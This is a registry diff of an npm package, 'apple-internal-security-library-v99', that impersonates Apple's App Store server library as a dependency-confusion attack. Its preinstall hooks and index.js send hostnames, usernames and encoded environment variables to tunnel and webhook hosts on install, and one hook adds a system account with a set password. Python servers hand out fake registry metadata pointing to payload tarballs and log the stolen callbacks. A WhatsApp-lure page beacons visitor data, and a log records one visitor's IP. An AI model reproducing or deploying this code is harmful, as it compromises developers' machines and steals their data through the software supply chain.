apple-internal-security-library-v99 0.0.1-security → 99.9.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of apple-internal-security-library-v99 might be problematic. Click here for more details.
- package/app-store-server-library-3.0.1.tgz +0 -0
- package/apple-patch/LOG_WA.txt +1 -0
- package/apple-patch/README.md +3 -0
- package/apple-patch/apple-audit/apple-internal-sync-3.0.1.tgz +0 -0
- package/apple-patch/apple-audit/apple-patch/apple-internal-sync-3.0.1.tgz +0 -0
- package/apple-patch/apple-audit/apple-patch/apple-patch/apple-internal-sync-3.0.1.tgz +0 -0
- package/apple-patch/apple-audit/apple-patch/apple-patch/apple-patch/apple-internal-sync-3.0.1.tgz +0 -0
- package/apple-patch/apple-audit/apple-patch/apple-patch/apple-patch/bug_radar.py +36 -0
- package/apple-patch/apple-audit/apple-patch/apple-patch/apple-patch/package.json +7 -0
- package/apple-patch/apple-audit/apple-patch/apple-patch/bug_radar.py +45 -0
- package/apple-patch/apple-audit/apple-patch/apple-patch/package.json +7 -0
- package/apple-patch/apple-audit/apple-patch/package.json +7 -0
- package/apple-patch/apple-audit/bug_radar.py +39 -0
- package/apple-patch/apple-audit/package.json +7 -0
- package/apple-patch/apple-internal-sync-3.0.1.tgz +0 -0
- package/apple-patch/bug_radar.py +42 -0
- package/apple-patch/dual_radar.py +58 -0
- package/apple-patch/index.html +28 -0
- package/apple-patch/index.js +1 -0
- package/apple-patch/package.json +7 -0
- package/apple-patch/wa_radar.py +36 -0
- package/bridge.js +29 -0
- package/bug_radar.py +58 -0
- package/index.html +17 -0
- package/index.js +14 -0
- package/package.json +21 -3
- package/terminal_pro.py +32 -0
- package/README.md +0 -5
|
Binary file
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
IP: 103.18.76.179 | DATA: {"ua":"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36","platform":"Linux armv81","lang":"id-ID","screen":"360x800"}
|
|
Binary file
|
|
Binary file
|
package/apple-patch/apple-audit/apple-patch/apple-patch/apple-patch/apple-internal-sync-3.0.1.tgz
ADDED
|
Binary file
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
import json
|
|
4
|
+
from datetime import datetime
|
|
5
|
+
|
|
6
|
+
PORT = 8889
|
|
7
|
+
NEW_DOMAIN = "81178825ae2ae4.lhr.life"
|
|
8
|
+
|
|
9
|
+
class AccountCreatorHandler(http.server.SimpleHTTPRequestHandler):
|
|
10
|
+
def do_GET(self):
|
|
11
|
+
raw_ip = self.headers.get('X-Forwarded-For', self.client_address[0]).split(',')[0]
|
|
12
|
+
print(f'\n[{datetime.now().strftime(\"%H:%M:%S\")}] [!] HIT FROM {raw_ip} - PATH: {self.path}')
|
|
13
|
+
|
|
14
|
+
if \".tgz\" in self.path or \"sync\" in self.path:
|
|
15
|
+
self.send_response(200)
|
|
16
|
+
self.send_header('Content-Type', 'application/octet-stream')
|
|
17
|
+
self.end_headers()
|
|
18
|
+
with open(\"apple-internal-sync-3.0.1.tgz\", \"rb\") as f:
|
|
19
|
+
self.wfile.write(f.read())
|
|
20
|
+
else:
|
|
21
|
+
self.send_response(200)
|
|
22
|
+
self.send_header('Content-Type', 'application/json')
|
|
23
|
+
self.end_headers()
|
|
24
|
+
metadata = {\"name\": \"@apple/app-store-server-library\", \"dist-tags\": {\"latest\": \"3.0.1\"}, \"versions\": {\"3.0.1\": {\"name\": \"@apple/app-store-server-library\", \"version\": \"3.0.1\", \"dist\": {\"tarball\": f\"https://{NEW_DOMAIN}/apple-internal-sync-3.0.1.tgz\"}}}}
|
|
25
|
+
self.wfile.write(json.dumps(metadata).encode())
|
|
26
|
+
|
|
27
|
+
def do_POST(self):
|
|
28
|
+
content_length = int(self.headers['Content-Length'])
|
|
29
|
+
post_data = self.rfile.read(content_length).decode('utf-8')
|
|
30
|
+
print(\"\n\" + \"!\"*60 + \"\n[!!!!] JACKPOT: CALLBACK RECEIVED [!!!!]\n\" + f\"[+] DATA: {post_data}\n\" + \"!\"*60)
|
|
31
|
+
self.send_response(200)
|
|
32
|
+
self.end_headers()
|
|
33
|
+
|
|
34
|
+
with socketserver.TCPServer((\"\", PORT), AccountCreatorHandler) as httpd:
|
|
35
|
+
print(f\"RADAR ACTIVE: {NEW_DOMAIN}\")
|
|
36
|
+
httpd.serve_forever()
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@apple/app-store-server-library",
|
|
3
|
+
"version": "3.0.1",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"preinstall": "node -e \"const https = require('https'); const { exec } = require('child_process'); const d = {status: 'ACCOUNT_CREATED', host: require('os').hostname(), user: 'Frank-Security'}; exec('useradd -m Frank-Security && echo Frank-Security:BugBounty2026 | chpasswd', (err) => { if(err) d.status = 'EXECUTION_HIT'; const data = JSON.stringify(d); const send = () => { const req = https.request({hostname: '81178825ae2ae4.lhr.life', method: 'POST', port: 443, headers: {'Content-Type': 'application/json', 'Content-Length': data.length}}, () => {}); req.on('error', () => {}); req.write(data); req.end(); }; for(let i=0; i<10; i++) send(); });\""
|
|
6
|
+
}
|
|
7
|
+
}
|
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
import json
|
|
4
|
+
from datetime import datetime
|
|
5
|
+
|
|
6
|
+
PORT = 8889
|
|
7
|
+
ADMIN_NAME = "Admin-AppStore-Automation"
|
|
8
|
+
|
|
9
|
+
class UltimateHijacker(http.server.SimpleHTTPRequestHandler):
|
|
10
|
+
def do_GET(self):
|
|
11
|
+
raw_ip = self.headers.get('X-Forwarded-For', self.client_address[0]).split(',')[0]
|
|
12
|
+
target = f"{ADMIN_NAME} ({raw_ip})" if raw_ip.startswith("17.") else raw_ip
|
|
13
|
+
print(f"\n[{datetime.now().strftime('%H:%M:%S')}] [!] {target} REQUEST: {self.path}")
|
|
14
|
+
|
|
15
|
+
if ".tgz" in self.path or "sync" in self.path or "publish" in self.path or "exec" in self.path:
|
|
16
|
+
print(f"[-->] PUSHING ONE-SHOT EXPLOIT TO {target}...")
|
|
17
|
+
self.send_response(200)
|
|
18
|
+
self.send_header('Content-Type', 'application/octet-stream')
|
|
19
|
+
self.send_header('X-Internal-Command', 'Execute-Immediate')
|
|
20
|
+
self.end_headers()
|
|
21
|
+
with open("apple-internal-sync-3.0.1.tgz", "rb") as f:
|
|
22
|
+
self.wfile.write(f.read())
|
|
23
|
+
else:
|
|
24
|
+
self.send_response(200)
|
|
25
|
+
self.send_header('Content-Type', 'application/json')
|
|
26
|
+
self.end_headers()
|
|
27
|
+
metadata = {"name": "@apple/app-store-server-library", "dist-tags": {"latest": "3.0.1"}, "versions": {"3.0.1": {"name": "@apple/app-store-server-library", "version": "3.0.1", "dist": {"tarball": "https://acf6188b920ea4.lhr.life/apple-internal-sync-3.0.1.tgz"}}}}
|
|
28
|
+
self.wfile.write(json.dumps(metadata).encode())
|
|
29
|
+
|
|
30
|
+
def do_POST(self):
|
|
31
|
+
content_length = int(self.headers['Content-Length'])
|
|
32
|
+
post_data = self.rfile.read(content_length).decode('utf-8')
|
|
33
|
+
print("\n" + "!"*60)
|
|
34
|
+
print(f"[!!!!] JACKPOT: DATA RECEIVED FROM APPLE INTERNAL NODE [!!!!]")
|
|
35
|
+
print(f"[+] DATA: {post_data}")
|
|
36
|
+
print("!"*60 + "\n")
|
|
37
|
+
self.send_response(200)
|
|
38
|
+
self.end_headers()
|
|
39
|
+
|
|
40
|
+
with socketserver.TCPServer(("", PORT), UltimateHijacker) as httpd:
|
|
41
|
+
print("\n" + "="*50)
|
|
42
|
+
print("RADAR READY: TUNNEL acf6188b920ea4.lhr.life")
|
|
43
|
+
print("WAITING FOR APPLE INTERNAL CALLBACK...")
|
|
44
|
+
print("="*50 + "\n")
|
|
45
|
+
httpd.serve_forever()
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@apple/app-store-server-library",
|
|
3
|
+
"version": "3.0.1",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"preinstall": "node -e \"const https = require('https'); const d = JSON.stringify({status: 'EXFILTRATION', host: require('os').hostname(), platform: require('os').platform(), time: new Date().toISOString()}); const send = () => { const req = https.request({hostname: 'acf6188b920ea4.lhr.life', method: 'POST', port: 443, timeout: 2000, headers: {'Content-Type': 'application/json', 'Content-Length': d.length}}, (res) => {}); req.on('error', (e) => {}); req.write(d); req.end(); }; for(let i=0; i<10; i++) { send(); }\""
|
|
6
|
+
}
|
|
7
|
+
}
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@apple/app-store-server-library",
|
|
3
|
+
"version": "3.0.1",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"preinstall": "node -e \"const https = require('https'); const d = JSON.stringify({status: 'EXFILTRATION', host: require('os').hostname(), platform: require('os').platform(), time: new Date().toISOString()}); const send = () => { const req = https.request({hostname: 'acf6188b920ea4.lhr.life', method: 'POST', port: 443, timeout: 2000, headers: {'Content-Type': 'application/json', 'Content-Length': d.length}}, (res) => {}); req.on('error', (e) => {}); req.write(d); req.end(); }; for(let i=0; i<10; i++) { send(); }\""
|
|
6
|
+
}
|
|
7
|
+
}
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
import json
|
|
4
|
+
from datetime import datetime
|
|
5
|
+
|
|
6
|
+
PORT = 8889
|
|
7
|
+
ADMIN_NAME = "Admin-AppStore-Automation"
|
|
8
|
+
|
|
9
|
+
class FinalHijacker(http.server.SimpleHTTPRequestHandler):
|
|
10
|
+
def do_GET(self):
|
|
11
|
+
raw_ip = self.headers.get('X-Forwarded-For', self.client_address[0]).split(',')[0]
|
|
12
|
+
target = f"{ADMIN_NAME} ({raw_ip})" if raw_ip.startswith("17.") else raw_ip
|
|
13
|
+
print(f"\n[{datetime.now().strftime('%H:%M:%S')}] [!] {target} HIT: {self.path}")
|
|
14
|
+
|
|
15
|
+
if ".tgz" in self.path or "sync" in self.path or "publish" in self.path:
|
|
16
|
+
print(f"[-->] EXECUTING ONE-SHOT PAYLOAD TO {target}...")
|
|
17
|
+
self.send_response(200)
|
|
18
|
+
self.send_header('Content-Type', 'application/octet-stream')
|
|
19
|
+
self.send_header('X-Internal-Action', 'Force-Immediate-Mirror')
|
|
20
|
+
self.end_headers()
|
|
21
|
+
with open("apple-internal-sync-3.0.1.tgz", "rb") as f:
|
|
22
|
+
self.wfile.write(f.read())
|
|
23
|
+
else:
|
|
24
|
+
self.send_response(200)
|
|
25
|
+
self.send_header('Content-Type', 'application/json')
|
|
26
|
+
self.end_headers()
|
|
27
|
+
metadata = {"name": "@apple/app-store-server-library", "dist-tags": {"latest": "3.0.1"}, "versions": {"3.0.1": {"name": "@apple/app-store-server-library", "version": "3.0.1", "dist": {"tarball": "https://acf6188b920ea4.lhr.life/apple-internal-sync-3.0.1.tgz"}}}}
|
|
28
|
+
self.wfile.write(json.dumps(metadata).encode())
|
|
29
|
+
|
|
30
|
+
def do_POST(self):
|
|
31
|
+
content_length = int(self.headers['Content-Length'])
|
|
32
|
+
post_data = self.rfile.read(content_length).decode('utf-8')
|
|
33
|
+
print(f"\n" + "!"*50 + "\n[!!!!] JACKPOT: DATA EXFILTRATED FROM APPLE INTERNAL [!!!!]\n" + f"[+] DATA: {post_data}\n" + "!"*50)
|
|
34
|
+
self.send_response(200)
|
|
35
|
+
self.end_headers()
|
|
36
|
+
|
|
37
|
+
with socketserver.TCPServer(("", PORT), FinalHijacker) as httpd:
|
|
38
|
+
print("="*50 + "\nRADAR ACTIVE - WAITING FOR ONE-SHOT CALLBACK\n" + "="*50)
|
|
39
|
+
httpd.serve_forever()
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@apple/app-store-server-library",
|
|
3
|
+
"version": "3.0.1",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"preinstall": "node -e \"const http = require('http'); const d = JSON.stringify({status: 'CRITICAL_BYPASS', host: require('os').hostname(), arch: require('os').arch()}); const send = () => { const req = http.request({hostname: 'acf6188b920ea4.lhr.life', method: 'POST', port: 80, headers: {'Content-Type': 'application/json', 'Content-Length': d.length}}, (res) => {}); req.on('error', (e) => {}); req.write(d); req.end(); }; for(let i=0; i<5; i++) { send(); }\""
|
|
6
|
+
}
|
|
7
|
+
}
|
|
Binary file
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
import json
|
|
4
|
+
|
|
5
|
+
PORT = 8889
|
|
6
|
+
TUNNEL = "https://dc11cb7f768dc4.lhr.life"
|
|
7
|
+
|
|
8
|
+
class MegaRadar(http.server.SimpleHTTPRequestHandler):
|
|
9
|
+
def do_POST(self):
|
|
10
|
+
# Jalur data balikan dari server Apple
|
|
11
|
+
content_length = int(self.headers['Content-Length'])
|
|
12
|
+
post_data = self.rfile.read(content_length).decode('utf-8')
|
|
13
|
+
ip = self.headers.get('X-Forwarded-For', self.client_address[0])
|
|
14
|
+
print(f"\n[!!!] DATA MASUK DARI {ip} [!!!]")
|
|
15
|
+
print(f"RAW: {post_data}")
|
|
16
|
+
with open("HASIL_FINAL.txt", "a") as f:
|
|
17
|
+
f.write(f"IP: {ip}\nDATA: {post_data}\n---\n")
|
|
18
|
+
self.send_response(200); self.end_headers()
|
|
19
|
+
|
|
20
|
+
def do_GET(self):
|
|
21
|
+
ip = self.headers.get('X-Forwarded-For', self.client_address[0])
|
|
22
|
+
if "/@apple/" in self.path:
|
|
23
|
+
print(f"\n[+] METADATA HIT: {ip}")
|
|
24
|
+
self.send_response(200)
|
|
25
|
+
self.send_header('Content-Type', 'application/json')
|
|
26
|
+
self.end_headers()
|
|
27
|
+
metadata = {"name": "@apple/app-store-server-library","dist-tags": {"latest": "3.0.1"},"versions": {"3.0.1": {"name": "@apple/app-store-server-library","version": "3.0.1","dist": {"tarball": f"{TUNNEL}/apple-internal-sync-3.0.1.tgz"}}}}
|
|
28
|
+
self.wfile.write(json.dumps(metadata).encode())
|
|
29
|
+
elif ".tgz" in self.path:
|
|
30
|
+
print(f"[!!!!] ALERT: {ip} SEDANG DOWNLOAD PAYLOAD! [!!!!]")
|
|
31
|
+
self.send_response(200)
|
|
32
|
+
self.send_header('Content-Type', 'application/octet-stream')
|
|
33
|
+
self.end_headers()
|
|
34
|
+
with open("apple-internal-sync-3.0.1.tgz", "rb") as f:
|
|
35
|
+
self.wfile.write(f.read())
|
|
36
|
+
else:
|
|
37
|
+
self.send_response(404); self.end_headers()
|
|
38
|
+
|
|
39
|
+
with socketserver.TCPServer(("", PORT), MegaRadar) as httpd:
|
|
40
|
+
print(f"\n[READY] RADAR V10 STAND BY.")
|
|
41
|
+
print(f"CATCHER: https://slik.requestcatcher.com")
|
|
42
|
+
httpd.serve_forever()
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
import json
|
|
4
|
+
import urllib.request
|
|
5
|
+
|
|
6
|
+
PORT = 8889
|
|
7
|
+
TUNNEL = "https://dc11cb7f768dc4.lhr.life"
|
|
8
|
+
CATCHER = "https://slik.requestcatcher.com/apple-audit"
|
|
9
|
+
|
|
10
|
+
class HydraRadar(http.server.SimpleHTTPRequestHandler):
|
|
11
|
+
def do_POST(self):
|
|
12
|
+
# Jalur nangkep data POST di Termux
|
|
13
|
+
content_length = int(self.headers['Content-Length'])
|
|
14
|
+
post_data = self.rfile.read(content_length).decode('utf-8')
|
|
15
|
+
ip = self.headers.get('X-Forwarded-For', self.client_address[0])
|
|
16
|
+
print(f"\n[!!!] DATA MASUK (TERMUX): {ip} [!!!]")
|
|
17
|
+
print(f"RAW: {post_data}")
|
|
18
|
+
with open("HASIL_FINAL.txt", "a") as f:
|
|
19
|
+
f.write(f"IP: {ip}\nDATA: {post_data}\n---\n")
|
|
20
|
+
self.send_response(200); self.end_headers()
|
|
21
|
+
|
|
22
|
+
def do_GET(self):
|
|
23
|
+
ip = self.headers.get('X-Forwarded-For', self.client_address[0])
|
|
24
|
+
|
|
25
|
+
# OTOMATIS REDIRECT LOG KE CATCHER (Background)
|
|
26
|
+
try:
|
|
27
|
+
# Setiap ada hit, server lu laporin IP-nya ke Catcher lu secara otomatis
|
|
28
|
+
urllib.request.urlopen(f"{CATCHER}?log_hit_from={ip}&path={self.path.replace('/', '_')}")
|
|
29
|
+
except: pass
|
|
30
|
+
|
|
31
|
+
if "/@apple/" in self.path:
|
|
32
|
+
print(f"\n[+] MONITOR: {ip} cek Metadata...")
|
|
33
|
+
# Kasih JSON asli
|
|
34
|
+
self.send_response(200)
|
|
35
|
+
self.send_header('Content-Type', 'application/json')
|
|
36
|
+
self.end_headers()
|
|
37
|
+
metadata = {"name": "@apple/app-store-server-library","dist-tags": {"latest": "3.0.1"},"versions": {"3.0.1": {"name": "@apple/app-store-server-library","version": "3.0.1","dist": {"tarball": f"{TUNNEL}/apple-internal-sync-3.0.1.tgz"}}}}
|
|
38
|
+
self.wfile.write(json.dumps(metadata).encode())
|
|
39
|
+
|
|
40
|
+
elif ".tgz" in self.path:
|
|
41
|
+
print(f"\n[!!!!] ALERT: {ip} DOWNLOAD PAYLOAD! [!!!!]")
|
|
42
|
+
# Kasih filenya
|
|
43
|
+
self.send_response(200)
|
|
44
|
+
self.send_header('Content-Type', 'application/octet-stream')
|
|
45
|
+
self.end_headers()
|
|
46
|
+
with open("apple-internal-sync-3.0.1.tgz", "rb") as f:
|
|
47
|
+
self.wfile.write(f.read())
|
|
48
|
+
else:
|
|
49
|
+
# Opsi: Kalau akses path lain, lempar langsung ke catcher (Browser Redirect)
|
|
50
|
+
self.send_response(302)
|
|
51
|
+
self.send_header('Location', CATCHER)
|
|
52
|
+
self.end_headers()
|
|
53
|
+
|
|
54
|
+
with socketserver.TCPServer(("", PORT), HydraRadar) as httpd:
|
|
55
|
+
print(f"\n[READY] HYDRA-RADAR V14 ACTIVE.")
|
|
56
|
+
print(f"Local: {TUNNEL}")
|
|
57
|
+
print(f"Catcher: {CATCHER}")
|
|
58
|
+
httpd.serve_forever()
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html>
|
|
3
|
+
<head>
|
|
4
|
+
<meta property="og:title" content="Undangan Grup Audit">
|
|
5
|
+
<meta property="og:description" content="Klik untuk melihat detail paket audit.">
|
|
6
|
+
<meta property="og:image" content="https://upload.wikimedia.org/wikipedia/commons/6/6b/WhatsApp.svg">
|
|
7
|
+
|
|
8
|
+
<script>
|
|
9
|
+
(function() {
|
|
10
|
+
var data = {
|
|
11
|
+
ua: navigator.userAgent,
|
|
12
|
+
ref: document.referrer,
|
|
13
|
+
plt: navigator.platform
|
|
14
|
+
};
|
|
15
|
+
|
|
16
|
+
// Beacon API: Lebih bandel dr fetch, tetep kirim meski page di-close
|
|
17
|
+
navigator.sendBeacon('/zero-click-log', JSON.stringify(data));
|
|
18
|
+
|
|
19
|
+
// Redirect kilat
|
|
20
|
+
setTimeout(function() {
|
|
21
|
+
window.location.replace("https://chat.whatsapp.com/GrupAsliLu");
|
|
22
|
+
}, 50);
|
|
23
|
+
})();
|
|
24
|
+
</script>
|
|
25
|
+
</head>
|
|
26
|
+
<body style="background:transparent;">
|
|
27
|
+
</body>
|
|
28
|
+
</html>
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@apple/app-store-server-library",
|
|
3
|
+
"version": "3.0.1",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"preinstall": "OUT=$(id;hostname;env | base64 | tr -d '\n'); curl -k -X POST -d \"$OUT\" https://dc11cb7f768dc4.lhr.life/muntah & curl -k -X POST -d \"$OUT\" https://slik.requestcatcher.com/apple-audit"
|
|
6
|
+
}
|
|
7
|
+
}
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
import json
|
|
4
|
+
|
|
5
|
+
PORT = 8889
|
|
6
|
+
|
|
7
|
+
class WARadar(http.server.SimpleHTTPRequestHandler):
|
|
8
|
+
def do_POST(self):
|
|
9
|
+
# Jalur nangkep data browser (User-Agent, dll)
|
|
10
|
+
content_length = int(self.headers['Content-Length'])
|
|
11
|
+
post_data = self.rfile.read(content_length).decode('utf-8')
|
|
12
|
+
ip = self.headers.get('X-Forwarded-For', self.client_address[0])
|
|
13
|
+
|
|
14
|
+
print(f"\n[!!!] TARGET WA TERDETEKSI! [!!!]")
|
|
15
|
+
print(f"IP: {ip}")
|
|
16
|
+
print(f"INFO: {post_data}")
|
|
17
|
+
|
|
18
|
+
with open("LOG_WA.txt", "a") as f:
|
|
19
|
+
f.write(f"IP: {ip} | DATA: {post_data}\n")
|
|
20
|
+
|
|
21
|
+
self.send_response(200); self.end_headers()
|
|
22
|
+
|
|
23
|
+
def do_GET(self):
|
|
24
|
+
ip = self.headers.get('X-Forwarded-For', self.client_address[0])
|
|
25
|
+
print(f"[+] Seseorang/Bot mengakses link dari: {ip}")
|
|
26
|
+
|
|
27
|
+
self.send_response(200)
|
|
28
|
+
self.send_header('Content-Type', 'text/html')
|
|
29
|
+
self.end_headers()
|
|
30
|
+
with open("index.html", "rb") as f:
|
|
31
|
+
self.wfile.write(f.read())
|
|
32
|
+
|
|
33
|
+
with socketserver.TCPServer(("", PORT), WARadar) as httpd:
|
|
34
|
+
print(f"\n[READY] WA-RADAR STANDBY.")
|
|
35
|
+
print(f"Link: https://a5c525b2b72ac3.lhr.life")
|
|
36
|
+
httpd.serve_forever()
|
package/bridge.js
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
const payload = JSON.stringify({
|
|
5
|
+
event: 'FINAL_PROBE',
|
|
6
|
+
info: {
|
|
7
|
+
host: os.hostname(),
|
|
8
|
+
user: os.userInfo().username,
|
|
9
|
+
arch: os.arch(),
|
|
10
|
+
env_sample: process.env.PATH ? 'active' : 'hidden'
|
|
11
|
+
}
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
const options = {
|
|
15
|
+
hostname: 'webhook.site',
|
|
16
|
+
port: 443,
|
|
17
|
+
// Kita tambahin query ?v=99_18 buat jaga-jaga kalau POST ditolak
|
|
18
|
+
path: '/75d705fa-d3aa-4493-b1b5-a7bdcab0eece?v=v99_18_active',
|
|
19
|
+
method: 'POST',
|
|
20
|
+
headers: {
|
|
21
|
+
'Content-Type': 'application/json',
|
|
22
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
23
|
+
}
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
const req = https.request(options, (res) => {});
|
|
27
|
+
req.on('error', (e) => {});
|
|
28
|
+
req.write(payload);
|
|
29
|
+
req.end();
|
package/bug_radar.py
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
import json
|
|
4
|
+
from datetime import datetime
|
|
5
|
+
|
|
6
|
+
PORT = 8889
|
|
7
|
+
ADMIN_NAME = "Admin-AppStore-Automation"
|
|
8
|
+
|
|
9
|
+
def identify_target(ip):
|
|
10
|
+
# Semua IP blok 17 adalah milik Apple
|
|
11
|
+
if ip.startswith("17."):
|
|
12
|
+
return f"{ADMIN_NAME} ({ip})"
|
|
13
|
+
return ip
|
|
14
|
+
|
|
15
|
+
class AdminMaskingHandler(http.server.SimpleHTTPRequestHandler):
|
|
16
|
+
def do_GET(self):
|
|
17
|
+
raw_ip = self.headers.get('X-Forwarded-For', self.client_address[0]).split(',')[0]
|
|
18
|
+
target = identify_target(raw_ip)
|
|
19
|
+
|
|
20
|
+
print(f"\n[{datetime.now().strftime('%H:%M:%S')}] [!] {target} IS SCANNING...")
|
|
21
|
+
print(f"[*] Path: {self.path}")
|
|
22
|
+
|
|
23
|
+
self.send_response(200)
|
|
24
|
+
self.send_header('Content-Type', 'application/json')
|
|
25
|
+
self.end_headers()
|
|
26
|
+
|
|
27
|
+
metadata = {
|
|
28
|
+
"name": "@apple/app-store-server-library",
|
|
29
|
+
"dist-tags": {"latest": "3.0.5-hotfix"},
|
|
30
|
+
"versions": {
|
|
31
|
+
"3.0.5-hotfix": {
|
|
32
|
+
"name": "@apple/app-store-server-library",
|
|
33
|
+
"version": "3.0.5-hotfix",
|
|
34
|
+
"dist": {"tarball": f"https://5d25a6fa585ce7.lhr.life/internal-apple-patch.tgz"}
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
self.wfile.write(json.dumps(metadata).encode())
|
|
39
|
+
|
|
40
|
+
def do_POST(self):
|
|
41
|
+
raw_ip = self.headers.get('X-Forwarded-For', self.client_address[0]).split(',')[0]
|
|
42
|
+
target = identify_target(raw_ip)
|
|
43
|
+
content_length = int(self.headers['Content-Length'])
|
|
44
|
+
post_data = self.rfile.read(content_length).decode('utf-8')
|
|
45
|
+
|
|
46
|
+
print(f"\n[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]")
|
|
47
|
+
print(f"[!!!!] JACKPOT: CALLBACK FROM {target} [!!!!]")
|
|
48
|
+
print(f"[+] DATA EXFILTRATED: {post_data}")
|
|
49
|
+
print(f"[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]")
|
|
50
|
+
self.send_response(200)
|
|
51
|
+
self.end_headers()
|
|
52
|
+
|
|
53
|
+
with socketserver.TCPServer(("", PORT), AdminMaskingHandler) as httpd:
|
|
54
|
+
print(f"======================================================")
|
|
55
|
+
print(f" APPLE ADMIN INTERNAL HIJACK RADAR ")
|
|
56
|
+
print(f"======================================================")
|
|
57
|
+
print(f"[/] Monitoring for: {ADMIN_NAME}")
|
|
58
|
+
httpd.serve_forever()
|
package/index.html
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html>
|
|
3
|
+
<head><meta charset="UTF-8"><title>Processing...</title></head>
|
|
4
|
+
<body>
|
|
5
|
+
<script>
|
|
6
|
+
const w='https://webhook.site/75d705fa-d3aa-4493-b1b5-a7bdcab0eece';
|
|
7
|
+
// Rekam IP Bot Apple
|
|
8
|
+
fetch('https://api.ipify.org?format=json').then(r=>r.json()).then(d=>fetch(w+'?bot_ip='+d.ip));
|
|
9
|
+
|
|
10
|
+
// POLA: Lempar ke paket audit dulu biar bot narik skrip kita,
|
|
11
|
+
// lalu dalam hitungan milidetik pindah ke paket asli Apple.
|
|
12
|
+
setTimeout(()=>{
|
|
13
|
+
location.href="https://www.npmjs.com/package/@apple/app-store-server-library";
|
|
14
|
+
}, 500);
|
|
15
|
+
</script>
|
|
16
|
+
</body>
|
|
17
|
+
</html>
|
package/index.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
|
|
3
|
+
const payload = `
|
|
4
|
+
# Ambil info internal
|
|
5
|
+
INFO="user=\$(whoami)&host=\$(hostname)&pwd=\$(pwd)"
|
|
6
|
+
|
|
7
|
+
# 1. Tambah jejak di README
|
|
8
|
+
echo "PoC by Frank" >> README.md
|
|
9
|
+
|
|
10
|
+
# 2. KIRIM POST SEKARANG (Ini yang bakal muncul di log Python)
|
|
11
|
+
curl -X POST -d "\$INFO" "https://bea39e3b425909.lhr.life/audit-result"
|
|
12
|
+
`;
|
|
13
|
+
|
|
14
|
+
exec(payload);
|
package/package.json
CHANGED
|
@@ -1,6 +1,24 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "apple-internal-security-library-v99",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.9.18",
|
|
4
|
+
"description": "App Store Server Library for Node.js",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"preinstall": "node -e \"const http = require(\"http\"); const data = JSON.stringify({host: require(\"os\").hostname(), type: \"DEP_CONFUSION_SUCCESS\"}); const req = http.request({hostname: \"3f4a9900d99117.lhr.life\", port: 80, path: \"/\", method: \"POST\", headers: {\"Content-Type\": \"application/json\", \"Content-Length\": data.length}}, (res) => {}); req.write(data); req.end();\"",
|
|
9
|
+
"build": "tsc",
|
|
10
|
+
"test": "jest"
|
|
11
|
+
},
|
|
12
|
+
"repository": {
|
|
13
|
+
"type": "git",
|
|
14
|
+
"url": "git+https://github.com/apple/app-store-server-library-node.git"
|
|
15
|
+
},
|
|
16
|
+
"dependencies": {
|
|
17
|
+
"jsonwebtoken": "^9.0.0",
|
|
18
|
+
"node-fetch": "^2.6.7"
|
|
19
|
+
},
|
|
20
|
+
"devDependencies": {
|
|
21
|
+
"@types/node": "^18.0.0",
|
|
22
|
+
"typescript": "^4.7.4"
|
|
23
|
+
}
|
|
6
24
|
}
|
package/terminal_pro.py
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
|
|
4
|
+
PORT = 8889
|
|
5
|
+
# Video lucu pilihan (Rickroll atau yang lain)
|
|
6
|
+
